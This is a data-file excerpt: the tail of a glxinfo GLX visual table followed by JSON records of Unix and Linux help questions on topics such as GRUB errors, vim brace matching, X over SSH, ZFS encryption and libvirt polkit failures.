0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x115 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x116 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x117 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x118 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x119 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x11a 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x11b 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x11c 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x11d 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x11e 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x11f 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x120 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x121 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x122 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x123 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x124 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x125 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x126 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x127 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x128 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x129 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x12a 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x12b 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x12c 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x12d 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x12e 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x12f 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x130 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x131 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x132 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x133 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x134 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x046 32 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 96 GLXFBConfigs: visual x bf lv rg d st colorbuffer sr ax dp st accumbuffer ms cav id dep cl sp sz l ci b ro r g b a F gb bf th cl r g b a ns b eat ---------------------------------------------------------------------------- 0x021 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0d7 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0d8 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0d9 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0da 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0db 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0dc 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0dd 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0de 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0df 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0e0 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0e1 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0e2 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0e3 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0e4 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0e5 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0e6 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0e7 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0e8 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0e9 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0ea 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0eb 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0ec 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0ed 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0ee 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0ef 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0f0 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0f1 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0f2 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0f3 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0f4 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0f5 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0f6 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0f7 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0f8 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0f9 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0fa 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0fb 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0fc 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0fd 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0fe 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x0ff 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x100 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x101 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x102 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x103 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x104 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x105 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x106 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x107 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x108 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x109 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x10a 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x10b 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x10c 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x10d 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x10e 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x10f 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x110 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x111 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x112 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x113 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x114 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x115 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x116 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x117 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x118 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x119 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x11a 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x11b 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x11c 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x11d 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x11e 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x11f 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x120 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x121 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x122 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x123 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x124 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x125 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x126 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x127 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x128 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x129 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x12a 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x12b 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x12c 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x12d 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x12e 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x12f 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x130 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x131 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x132 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x133 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x134 24 tc 0 24 0 r y . 8 8 8 0 . . 0 24 8 0 0 0 0 1 1 None 0x046 32 tc 0 32 0 r y . 8 8 8 8 . . 0 24 8 0 0 0 0 1 1 None"} {"_id": "115801", "title": "How to permanantly disable /var/log/lastlog?", "text": "When I delete files such as `/var/log/lastlog`, `/var/log/utmp` and `/var/log/wtmp` the files will be recreated. How do I disable the recreation of those files?"} {"_id": "73098", "title": "Grub2 failing to update", "text": "I recently replaced a disk containing my `/home` partition only. Upon attempting to upgrade my kernal package (Debian Squeeze) I get the following error: /usr/sbin/grub-probe: error: Couldn't find PV pv1. Check your device.map. Google searching suggested this solution: root@debian1:~# mv /boot/grub/device.map /boot/grub/device.map_orig root@debian1:~# grub-mkdevicemap root@debian1:~# update-grub The first two commands succeed without error, yet the third command `update- grub` fails with the same error mentioned above. I've checked my `/boot/grub/device.map` file, and it seems to match the ids listed when I run `ls -l /dev/disk/by-id/`. Any idea how to resolve this?"} {"_id": "145326", "title": "KDE / LightDM - disable multiple users being logged in / 'switch user'", "text": "How can I disable the 'switch user' function in the kde start menu, so that only one user can be logged in at the same time?"} {"_id": "145322", "title": "Renaming the files and move to other path", "text": "I need to rename the files given below and move to some other path 1234551abcde20140718023216001.txt.809047512.2014_07_07_13:47:44 000001abcde20140718023216001.txt.34568.001.2014_07_07_13:50:44 44444abcded20140718023216001.txt.1111111.2014_07_07_13:47:44 expected Result 1234551abcde20140718023216001.txt.809047512 000001abcde20140718023216001.txt.34568.001 44444abcded20140718023216001.txt.1111111 only I need to remove the timestamp attached every time with the filenames,and move it to other directory in AIX please help me to write the script.I am new to Unix as I am able to rename single single files but not all,and moving to other path also had issue. For your reference I had tried. #!/usr/bin/ksh file1=`echo 1234551abcde20140718023216001.txt.809047512.2014_07_07_13:47:44 | awk -F \".\" '{for(i=1;i foo.txt The `foo.txt` has the contents of the web page without any HTML tags. Now, I know in my webpage there is a particular section which always starts with a keyword. For example, after the above command, I run the below command to extract from the substring from that particular value. pcregrep -M 'Skills & Expertise(\\n|.)*' foo.txt > foo1.txt The above command works perfectly fine. Now, the problem is when the page becomes very large, I am getting `Segmentation fault` error. I believe `Segmentation fault` occurs because the grep command tries to do a greedy match and it is failing. Is there an efficient way to replace the above `pcregrep` command so that I do not get the `Segmentation fault` error?"} {"_id": "73090", "title": "Computer doesn't wake from sleep mode", "text": "I have a laptop with Linux Slackware 14, KDE 4.8.5, kernel 3.9.0-rc6. When I close the lid and pull out the power cord, the machine goes into sleep mode. When I wake it, plugging the cord back in and opening the lid, the LEDs turn on, but the screen doesn't. The system responds via ssh. Maybe, it's Intel video driver? What is going on? How can I fix it? ### EDIT #1 Here is some additional info regarding my system: * /var/log/pm-suspend.log * /usr/lib/pm-utils/sleep.d/99video Here's info about my video card: lspci | grep VGA 00:02.0 VGA compatible controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09) ### EDIT #2 Looking at the output in the log `pm-suspend.log` there is mention of an illegal instruction at line #48 of the `99video` script. Here are the contents of that section of the script: reset_brightness() { for bl in /sys/class/backlight/* ; do [ -f \"$bl/brightness\" ] || continue BR=\"$(cat $bl/brightness)\" echo 0 > \"$bl/brightness\" echo \"$BR\" > \"$bl/brightness\" done }"} {"_id": "73091", "title": "List of packages managed by DKMS", "text": "How do I get a list of packages (and their versions) managed by DKMS so I can easily add/remove them?"} {"_id": "92314", "title": "RedHat RPM file collision", "text": "Let's assume I have two RPM packages named _1.rpm_ and _2.rpm_. Both of them want to put a file _test_ into _/usr/bin_ , but both of them use a different version of _test_. Of course I would like to have both RPMs installed on the same machine. What would be official behavior of RedHat (let it be RHEL5) in described situation?"} {"_id": "102552", "title": "Get the current volume level in OS X Terminal CLI?", "text": "I would like to check the current volume level from the CLI on my Mac. I know I can set it like this: osascript -e 'set volume ' But that doesn't seem to work when trying to get the current volume level. $ osascript -e 'get volume' 4:10: execution error: The variable volume is not defined. (-2753)"} {"_id": "92313", "title": "stop/start gui on debian", "text": "I would like to start Debian without the GUI and then just type commands in to launch the desired programs ( **which are located on my local machine** ), eg $ chromium-browser & I already do a similar thing when `ssh`ing in to other machines on the LAN - it is handy if I need to visualise csv data for example in `soffice`. i currently have gnome desktop and Debian 7 installed. I have found some instructions for disabling the GUI on startup with Debian, however I am reluctant to try them out for fear of being locked out of using the web browser once I do this (I will need it to seek help using the browser if I get stuck). I was wondering if I could temporarily test out the method of starting the GUI on one of the other terminals (eg `ctrl+alt+f1`) to see if there are any problems? Will this work? Will it be equivalent to starting the GUI when booting without a GUI? If this is feasible, please could someone provide full instructions for: * enabling the GUI on terminal `f1` so that i can run gui programs (without showing the full desktop interface) * turning off the desktop interface GUI on bootup obviously I will need to run X11 to load GUI programs - that's fine, but I'm looking to boot up into text mode and then just execute GUI programs as needed. **doing some tests on an ubuntu 12.04 virtualbox vm (hopefully not too different to debian 7?)...** $ ps aux | grep gdm # *blank* $ ps aux | grep kdm # *blank* $ ps aux | grep lightdm root 1225 0.0 0.0 270664 3500 ? Ssl 12:43 0:00 lightdm root 1234 1.9 2.2 236564 112276 tty7 Ss+ 12:43 0:01 /usr/bin/X :0 -auth /var/run/lightdm/root/:0 -nolisten tcp vt7 -novtswitch -background none root 1382 0.0 0.0 156772 3572 ? Sl 12:43 0:00 lightdm --session-child 12 19 $ sudo update-rc.d lightdm disable update-rc.d: warning: /etc/init.d/lightdm missing LSB information update-rc.d: see Disabling system startup links for /etc/init.d/lightdm ... Removing any system startup links for /etc/init.d/lightdm ... /etc/rc0.d/K20lightdm /etc/rc1.d/K20lightdm /etc/rc2.d/K80lightdm /etc/rc3.d/K80lightdm /etc/rc4.d/K80lightdm /etc/rc5.d/K80lightdm /etc/rc6.d/K20lightdm Adding system startup for /etc/init.d/lightdm ... /etc/rc0.d/K20lightdm -> ../init.d/lightdm /etc/rc1.d/K20lightdm -> ../init.d/lightdm /etc/rc6.d/K20lightdm -> ../init.d/lightdm /etc/rc2.d/K80lightdm -> ../init.d/lightdm /etc/rc3.d/K80lightdm -> ../init.d/lightdm /etc/rc4.d/K80lightdm -> ../init.d/lightdm /etc/rc5.d/K80lightdm -> ../init.d/lightdm $ sudo shutdown -r 0 and the gui is back up and running again after the reboot! so this clearly did not have the desird effect. however: $ sudo /etc/init.d/lightdm stop kills the gui. moving to tty2 (by pressing `ctrl+alt+f2`) and attempting to open firefox: $ firefox & Error: no display specified so attempting to specify a display: $ export DISPLAY='0.0' $ firefox & Error: cannot open display: 0.0 and now i'm stuck. i can still get the gui back on `ctrl+alt+f7` by entering the following into tty2: $ sudo /etc/init.d/lightdm start but this is not what i want. i just want to be able to run firefox without showing all the other desktop things such as the clock and the menu bars, etc. **trying out some of the things ingoldilocks' answer** $ sudo /etc/init.d/lightdm stop $ echo \"#!/bin/bash\" > ~/.xinitrc $ echo \"exec firefox\" >> ~/.xinitrc $ xinit this does exactly what i want `:)`"} {"_id": "92310", "title": "Enhancing Dolphin location bar", "text": "I am using Dolphin 4.11.1. Right now its location bar looks like this: ![dolphin location bar](http://i.stack.imgur.com/ZQuli.jpg) Can I somehow enable a \"path trail\" feature which is on in gnome nautilus by default? For example, if I move to the home directory, Wallpapers folder still remains in the location bar and I can click on it to return. Here's how it looks: ![enter image description here](http://i.stack.imgur.com/5r4LQ.png)"} {"_id": "73097", "title": "Linux Mint Taskbar and Icons are gone", "text": "I have linux mint cinnamon 13. I installed it today. Well my problem is that my panel and my icons are gone. There is absolutely nothing but my desktop background. But I'm still able to switch to F1 + Ctrl + Alt. Also when I click on \"print\" on my keyboard it makes a photo but nothing pops up. So how can I get my taskbar, icons etc. back?"} {"_id": "54996", "title": "Automatically create matching braces in vim", "text": "How do I automatically create matching braces in vim? It should work as follows: If I input an open brace the closing one should appear automatically and the cursor should be placed in between. To jump out of the brace pair the combination `Ctrl-j` is used. There are plenty of plugins providing automatic brace insertion. But they * either use a different key combination than `Ctrl-j` to jump out of the brace pair or * interfere with the UltiSnips key bindings. The following works as expected :inoremap ( ():let leavechar=\")\"i :imap :exec \"normal f\" . leavechara But with these settings the UltiSnips snippets don't work any more. So I used UltiSnips to insert the closing brace: inoremap ( (=UltiSnips_Anon('($1)$0', '(') This almost works. The matching brace is inserted and I can skip the closing one with `Ctrl-j`. This, however, works only if there is a space in front of the open brace. main () // works, the closing parentheses is added main( // fails without a space My solutions either require a different key binding to jump over the closing brace or require a space in front of the open one. How to fix this? Note: I used parentheses as an example. It should work with parentheses, braces, brackets and less-than signs and not interfere with the UltiSnips plugin."} {"_id": "104389", "title": "How to redirect http requests to local Apache server on internet connection lost?", "text": "I have a little Linux (Ubuntu based) server with 2 network cards, which acts as a router, dhcp, dns server, firewall, etc. One network card is connected to the LAN, while the other is connected to my ISP. When the Internet link is down, I would like to redirect all http requests to my local Apache server, which would display a little webpage informing my LAN users, that their LAN connection is OK, the server itself is OK, only the ISP link is currently down. How would I do that? 1. I found no reliable way to detect if the Internet connection is down, other than periodically pinging a bunch of external hosts that are known to be up most of the time. (The status of the interface is UP all the time). 2. What tool should I use for redirection? Iptables? Something else?"} {"_id": "21016", "title": "How to speed up X over SSH on a slow network connection?", "text": "Are there any specific recommendations on speeding up X applications over ssh on a slow network connection? In this specific case, I am accessing a server located in west coast from a laptop in east coast and that too on a not too fast DSL connection. Any settings for ssh? Any tips in general?"} {"_id": "55932", "title": "Zsh: dirs in reverse order", "text": "I am a bit confused about how `dirs` works. The documentation says: > dirs > > With no arguments, print the contents of the directory stack. Directories > are added to this stack with the `pushd` command, and removed with the `cd` > or `popd` commands. **Q1.** I never use `popd` nor `pushd`, but I noticed that `dirs`keeps track of the directories where I have been (which to me means, that `cd` **_adds_** , not removes, directories to the stack) **Q.2** After a long session using `cd`, it's common for `dirs` to print a long list of directories, but this list prints the most recent directory first and it ends with the last directory, so if I have a long list, the screen scrolls, and I can't easily see the most recent set of directories (which are typically the ones I am most interested in). How can I print the list of directories in reverse order? I tried `dirs | sort -r`, but this does not sort the entries correctly, e.g. I get 20 /foo20/bar 2 /foo2/bar 19 ... 18 ... 16 11 10 1 0 The unsorted originals look like 1 /foo/bar 2 /foo2/bar 3 ... .. 9 10 11 .. 20 21 .. 30"} {"_id": "32316", "title": "In bash shell, how to insert the previous line inside the current line?", "text": "In bash, how to expand the `!!` in command line while interactively editing the command inside shell? I am working in `vi` edit mode. When typing a new command line, I want to introduce the previous line and expand it. **I would like the expansion to occur before I execute the command.**"} {"_id": "55930", "title": "bash prompt with abbreviated current director including dot files?", "text": "I have the following in my .bash_profile (from a similar question here: PROMPT_COMMAND='pwd2=$(sed \"s:\\([^/]\\)[^/]*/:\\1/:g\" <<<$PWD)' PS1='\\u@\\h:$pwd2\\$ ' However, if the current directory is within a .dir (such as ~/.vim/bundle/) then the prompt just displays a .: chris@DeathStar:/U/c/./bundle$ I would like it instead to retain 1 char for all dirnames unless it has a dot, in which case it would show two, like this: chris@DeathStar:/U/c/.v/bundle$ Even better would be if I also have the home directory represented by a `~` like this: chris@DeathStar:~/.v/bundle$ Any ideas?"} {"_id": "32319", "title": "FreeBSD + ZFS + Encryption ? Alternatives ? Suggestions?", "text": "I would like to create a dedicated physical server which will work as a NAS & fileserver inside my LAN (as well as through VPN). However I need to fully encrypt the drives (both the system ones and the data ones, as I think I'll use two zpools). Since ZFS encryption is not supported in version 28 which is what FreeBSD supports (and OpenIndiana, Nexenta, ...) the only possibility seems to be to use ZFS. Now I'm thinking whethever adding a Geli layer on top of ZFS could lead to data loss. Some posts on the internet (though not many) seems to point this problem out. In particular, ZFS seems to be a far superior filesystem than any other in the Unix/Linux world (for instance ext4, xfs as well as btrfs) considering the integration of raid(z) and checksumming. Now adding Geli on top of that seems to me just like adding LUKS on top of a RAID setup, though I did never experienced Geli and don't know its reliability. Performance is not a main issue, though I'd rather not have a 1MB/s transfer on my LAN (>20MB/s will be acceptable though). I never got outside my Linux world so I don't have experiences with freeBSD or the Solaris derivatives. I'd rather not use Solaris Express 11 because of the paid (expensive) support problem. This will be a computer at home. I'll be willing to learn them if necessary. The server will need to do basics NAS tasks (in particular samba/cifs file sharing, I don't need the ones integrated with the newer ZFS versions). After considering the encryption layer, **will Geli + ZFS be more or less reliable than LUKS + LVM + ext4**? I asked in another post on superuser and they suggested Freebsd / Solaris(es) because of ZFS, though we did not talk about encryption. Don't know if OpenIndiana and the likes support a block encryption method like LUKS or Geli. Furthermore will it be easy to add a disk to the array, grow the raid(z) and the filesystem as we do in Linux (for instance here)?"} {"_id": "104386", "title": "Could not get a command to work with bash -c", "text": "I am trying to execute a command to find out which process is listening on a particular port and i cannot get it to work if the command is passed as an argument to bash using `bash -c` netstat -tnlp 2>/dev/null | grep ':10301' tcp 0 0 0.0.0.0:10301 0.0.0.0:* LISTEN 4755/nc I can get it working if i do the below and it shows nc is listening on that port netstat -tnlp 2>/dev/null | grep ':10301' | grep LISTEN | awk '{print $7}' | cut -d'/' -f1 | xargs -i -n1 cat /proc/{}/cmdline nc-kl10301 but if do it using bash -c bash -c \"netstat -tnlp 2>/dev/null | grep ':10301' | grep LISTEN | awk '{print $7}' | cut -d'/' -f1 | xargs -i -n1 cat /proc/{}/cmdline\" cat: /proc/tcp 0 0 0.0.0.0:10301 0.0.0.0:* LISTEN 4755/cmdline: No such file or directory"} {"_id": "104387", "title": "How to manipulate output from commands with shell scripts", "text": "Simple question, having a `ls -l` command it makes a list on the command prompt and if we want to manipulate it we pipeline it with `awk` command, for instance if we want to to show specific files. Is that possible without using the `awk` command but instead using a shell script, if so what would be the column variables how would we manipulate that on fly list do you have also any suggestions on educative links or books. * * * EDIT:for example a `ls -l|awk '{print $1}'` the `$1` is referring to the first column,is there any way to do that with a shell script variable, for instance if we would like to run the `ls -l` command inside a shell script and print the exact filenames of which we are searching for. How to do this? Sorry for the misconception I am new to this."} {"_id": "55939", "title": "gnu screen: automatic session on split", "text": "Inactive region appears after 'split' command in gnu screen now. You must go to the new region and type :screen. Only after that shell session appears in this region. Is it possible to make new region with shell session or other program? Not from config file, but from running screen."} {"_id": "104385", "title": "Setting the TOPCOLORS environment variable", "text": "I don't seem to be able to find any examples on the Internet for this environment variable, which `top` will apparently read and use to display colours. How would I set this variable correctly so `top` used alternate colours in its output? I have Solaris `top` version 3.5beta9."} {"_id": "149851", "title": "Memory allocation for sparse array in awk", "text": "I have searched but didnt reach to any conclusion that when i defined an sparse array does it reserve all the **contiguous memory** upto maximum index or it allocate the memory at that particular index only. array[100000]=\"ID1\" array[1001]=\"ID2\" Similarly when i do for loop for an array does it scan all the indexes where **array[i] exist** or It point only **defined array's index** for ex. 100000 & 1001. for(i in array){...} I have to store some value at specific index but i am afraid of memory allocation,so it become so much important for me to know,how does it actually allocate memory in case of sparse array,thanks."} {"_id": "148128", "title": "Gentoo virt-manager on system without GNOME cannot connect to libvirtd due to polkit throwing a missing file error", "text": "I am running Gentoo Linux for AMD64 using kernel 3.12.21 AMD64 on an HP Pavilion Touch 14-N009LA with an AMD A8-4555M CPU. My desktop environment is KDE 4.12.5. I have installed KVM, libvirtd, polkit and virt-manager. However, when I open virt-manager, I get the following error and am unable to do anything with virtual machines: Unable to connect to libvirt. authentication failed: polkit: Error getting authority: Error initializing authority: Could not connect: No such file or directory Detail output is here: Unable to connect to libvirt. authentication failed: polkit: Error getting authority: Error initializing authority: Could not connect: No such file or directory Libvirt URI is: qemu:///system Traceback (most recent call last): File \"/usr/share/virt-manager/virtManager/connection.py\", line 1002, in _open_thread self.vmm = self._try_open() File \"/usr/share/virt-manager/virtManager/connection.py\", line 984, in _try_open flags) File \"/usr/lib64/python2.7/site-packages/libvirt.py\", line 105, in openAuth if ret is None:raise libvirtError('virConnectOpenAuth() failed') libvirtError: authentication failed: polkit: Error getting authority: Error initializing authority: Could not connect: No such file or directory Googling around I found the following tips to try and make it work, and here's how they went: * Making sure that a polkit authentication agent is running. I checked and it is indeed running: black@rockshooter ~ $ ps -ef | grep polkit black 5039 1 0 04:31 ? 00:00:00 /usr/lib64/kde4/libexec/polkit-kde-authentication-agent-1 * Creating a group called kvm, adding my user ID to it, and creating a polkit rule to authenticate users of group kvm who wish to manage VMs. I did it like this and it didn't work: root@rockshooter /etc/polkit-1/rules.d # cat 50-default.rules polkit.addRule(function(action, subject) { if (action.id == \"org.libvirt.unix.manage\" && subject.isInGroup(\"kvm\")) { return polkit.Result.YES; } }); root@rockshooter /etc/polkit-1/rules.d # grep kvm /etc/group kvm:x:78:qemu,black * Connecting to the hypervisor from the command line (using `virsh`). I get the exact same error. black@rockshooter ~ $ virsh --connect qemu:///system error: failed to connect to the hypervisor error: authentication failed: polkit: Error getting authority: Error initializing authority: Could not connect: No such file or 